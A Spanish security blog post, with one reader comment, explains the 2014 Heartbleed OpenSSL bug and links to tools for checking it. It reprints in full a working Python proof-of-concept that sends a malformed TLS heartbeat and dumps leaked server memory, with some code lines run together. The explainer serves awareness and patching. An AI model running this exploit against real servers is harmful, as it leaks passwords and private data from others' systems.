El exploit de Heartbeat “El latido de SSL”

  • 1

El exploit de Heartbeat “El latido de SSL”


Heartbleed_bug_explainedUn error grave en el código fuente de una de las librerías que maneja SSL ha estado permitiendo la extracción de información de servicios de internet que utilizan el protocolo de comunicaciones basados en SSL desde al menos el 2011. Muchos servidores y máquinas de internet han sido expuestos a la posible fuga de información. El error fue descubierto por un técnico de Google en Diciembre del año pasado.

El Heartbeat, es un mensaje que le indica al servidor que el cliente está “vivo”, simplemente para evitar el cierre de la comunicación. El problema por el cual, el programador que ya ha pedido disculpas por su error, se produce esta inseguridad es por la falta de comprobación de la longitud de entrada de la información al hacer ese envío en la función dtls1_process_heartbeat de ssl/di_both.c

Este latido, más conocido como un “keep alive” (mantener vivo) consiste en que el cliente envía un paquete de datos de 5Bytes, el servidor los recibe y los devuelve, de esta forma se comprueba que efectivamente, sí el servidor nos responde con una “copia”, hay comunicación. Pero en el proceso el servidor almacena los datos en memoria,  de ahí que diga “copia”.

El fallo:
¿Que pasa si le decimos al servidor que queremos unos datos del tamaño de 100kb pero en realidad solo le enviamos 5Bytes? Pues en este caso el fallo, se basa en esto mismo, alterando la longitud del campo, el servidor responderá con un campo igual de largo y en el proceso arrastrará consigo datos de memoria que no corresponden con el destinado a responder a esos Bytes, enviando además datos adyacentes a la cabecera, hasta 64kb por vez. Muchos pensarán que esto no ocurriría en otros lenguajes de programación pero en C es necesario restringir el acceso de las variables en memoria si no se quiere que ocurran estas cosas, sobre todo si la información se va a devolver a un cliente.


¿Que puede suponer esta vulnerabilidad?
Podría ser una lotería porque la asignación de memoria y su reserva dinámica se comportan de forma aleatoria, el atacante podría obtener muchos datos aleatorios, pero a su vez también podría obtener contraseñas y usuarios de los que estuviesen accediendo a un servidor en ese momento o llegar incluso a volcar la memoria del servidor por completo, sería una cuestión de paciencia, pero en cualquier momento seguro que podría revelar algo confidencial.

@yahoo your login servers are vulnerable for the OpenSSL #heartbleed
attack, exposing usernames and plain passwords pic.twitter.com/v8kddiP0Yo
Enlace permanente de imagen incrustada


¿Como saber si un sitio está comprometido? https://filippo.io/Heartbleed/


Han creado también un sitio web para información sobre la vunerabilidad  Le han llamado al sitio heartbleed por una deformación del lenguaje que sa ha quedado en ser un corazón ensangrentado http://heartbleed.com/

Para mitigar los daños ya se ha parcheado la vulnerabilidad, es buena idea comprobar que ha actualizado sus librerias SSL.

Además se disponen de herramientas para testear el fallo:

Un script para comprobar con nmap si está presente la vulnerabilidad https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse

Exploit escrito en python

# Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]
# Date: [2014-04-09]
# Exploit Author: [Csaba Fitzl]
# Vendor Homepage: [http://www.openssl.org/]
# Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]
# Version: [1.0.1f]
# Tested on: [N/A]
# CVE : [2014-0160]

#!/usr/bin/env python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modified by Csaba Fitzl for multiple SSL / TLS version support

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('n', '').decode('hex')

version = []
version.append(['SSL 3.0','03 00'])
version.append(['TLS 1.0','03 01'])
version.append(['TLS 1.1','03 02'])
version.append(['TLS 1.2','03 03'])

def create_hello(version):
    hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
    return hello

def create_hb(version):
    hb = h2bin('18 ' + version + ' 00 03 01 40 00')
    return hb

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)         print '  %04x: %-48s %s' % (b, hxdat, pdat)     print    def recvall(s, length, timeout=5):     endtime = time.time() + timeout     rdata = ''     remain = length     while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:             return None         r, w, e = select.select([s], [], [], 5)         if s in r:             data = s.recv(remain)             # EOF?             if not data:                 return None             rdata += data             remain -= len(data)     return rdata       def recvmsg(s):     hdr = recvall(s, 5)     if hdr is None:         print 'Unexpected EOF receiving record header - server closed connection'         return None, None, None     typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s,hb):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    for i in range(len(version)):
        print 'Trying ' + version[i][0] + '...'
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print 'Connecting...'
        sys.stdout.flush()
        s.connect((args[0], opts.port))
        print 'Sending Client Hello...'
        sys.stdout.flush()
        s.send(create_hello(version[i][1]))
        print 'Waiting for Server Hello...'
        sys.stdout.flush()
        while True:
            typ, ver, pay = recvmsg(s)
            if typ == None:
                print 'Server closed connection without sending Server Hello.'
                return
            # Look for server hello done message.
            if typ == 22 and ord(pay[0]) == 0x0E:
                break

        print 'Sending heartbeat request...'
        sys.stdout.flush()
        s.send(create_hb(version[i][1]))
        if hit_hb(s,create_hb(version[i][1])):
            #Stop if vulnerable
            break

if __name__ == '__main__':
    main()

 


Como se aprecia por el tuit, hasta Yahoo se vió afectada por este bug, ¿Cuánto tiempo y cuántas veces ha sido utilizado? Pues bien, aparentemente, por su naturaleza “inofensiva” no habría sido detectado de forma rutinaria, puesto que no hay un comportamiento anómalo que delataría la presencia de un fallo, bug, agujero de seguridad, un hacker, etc, pero en este caso, excepto esa pequeña información de 64kb excedente todo resultaría aparentemente normal.

Esperemos que de aquí en adelante el programador, que como ya dije, se ha disculpado y el resto de la comunidad vigilará más de cerca la implementación de de estas librerías en un proceso continuo de evaluación de riesgos de seguridad, ya que SSL es una de las bases en las que se asientan las comunicaciones cifradas hoy en día.

Pablo Martínez. TeamSec


1 Comment

francisco.bernal

15/04/2014 at 10:13 pm

Lo descubrieron varios
“Who found the Heartbleed Bug?

This bug was independently discovered by a team of security engineers (Riku, Antti and Matti) at Codenomicon and Neel Mehta of Google Security, who first reported it to the OpenSSL team. Codenomicon team found heartbleed bug while improving the SafeGuard feature in Codenomicon’s Defensics security testing tools and reported this bug to the NCSC-FI for vulnerability coordination and reporting to OpenSSL team.”

http://heartbleed.com/

Leave a Reply